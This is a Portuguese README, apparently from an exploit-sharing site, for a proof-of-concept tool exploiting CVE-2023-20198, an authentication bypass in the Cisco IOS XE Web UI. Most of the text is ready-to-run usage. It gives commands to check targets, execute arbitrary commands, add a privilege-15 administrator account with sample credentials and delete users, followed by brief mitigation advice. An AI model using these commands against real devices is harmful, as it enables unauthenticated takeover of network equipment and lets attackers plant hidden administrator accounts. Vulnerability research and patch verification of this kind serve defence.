Bypass de Autenticação no Cisco IOS XE (CVE-2023-20198)

Este repositório contém um exploit de prova de conceito para a CVE-2023-20198, uma vulnerabilidade de bypass de autenticação que afeta a Web UI do Cisco IOS XE.

A vulnerabilidade permite que atacantes não autenticados executem comandos arbitrários em dispositivos Cisco vulneráveis por meio de requisições SOAP maliciosas, podendo levar ao comprometimento total do dispositivo, incluindo execução remota de comandos e criação/exclusão de usuários administrativos.

Visão Geral da Vulnerabilidade

• CVE: CVE-2023-20198

• Produto Afetado: Cisco IOS XE (Web UI / Interface WSMA)

• Impacto:

  • Bypass de autenticação
  • Execução remota de comandos (RCE)
  • Criação não autorizada de usuários
  • Exclusão não autorizada de usuários

• Vetor de Ataque: Rede (HTTP/HTTPS)

• Privilégios Necessários: Nenhum (não autenticado)

Essa vulnerabilidade é causada pelo tratamento inadequado de autenticação no endpoint do Web Services Management Agent (WSMA), permitindo que atacantes contornem a autenticação usando requisições HTTP maliciosas.

Requisitos

• Python 3.x
• requests
• colorama

Instale as dependências:

pip install -r requirements.txt

Uso

usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]

Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target Cisco IOS XE Device
  -c, --check           Check if the Target is vulnerable to CVE-2023-20198
  -C CMD, --cmd CMD     Cisco IOS XE Command to Execute
  -a, --add             Add New Username and Password
  -d, --delete          Delete existing User
  -u USERNAME, --username USERNAME
                        Username for Account Creation
  -p PASSWORD, --password PASSWORD
                        Password for Account Creation (Random Password Generated if not Provided)

Opções de Linha de Comando

Verificação de Vulnerabilidade

Verifique se o alvo é vulnerável:

python3 exploit.py -t https://<TARGET-IP> -c

Se vulnerável, a ferramenta detectará automaticamente o endpoint WSMA explorável e exibirá detalhes do dispositivo.

Execução Remota de Comandos

Execute comandos no dispositivo vulnerável:

python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"

Exemplo:

python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Adicionar Usuário Administrativo

Crie um novo usuário administrador com privilégio 15:

python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Se nenhuma senha for fornecida, o script gera uma senha segura aleatória automaticamente.

Acessando a Interface Web

Com a conta recém-criada, você pode acessar a Interface Web do dispositivo

Excluir Usuário Existente

Exclua um usuário existente:

python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Detecção e Mitigação

• Atualize o Cisco IOS XE para a versão corrigida mais recente

• Desative a Interface Web se não for necessária:

  root@kitploit:~

  no ip http server
  no ip http secure-server
  

• Restrinja o acesso de gerenciamento por meio de ACLs

Referências

• Comunicado da Cisco — CVE-2023-20198
• NVD: CVE-2023-20198
• Documentação do Cisco IOS XE WSMA
• Relatórios da Comunidade de Pesquisa em Segurança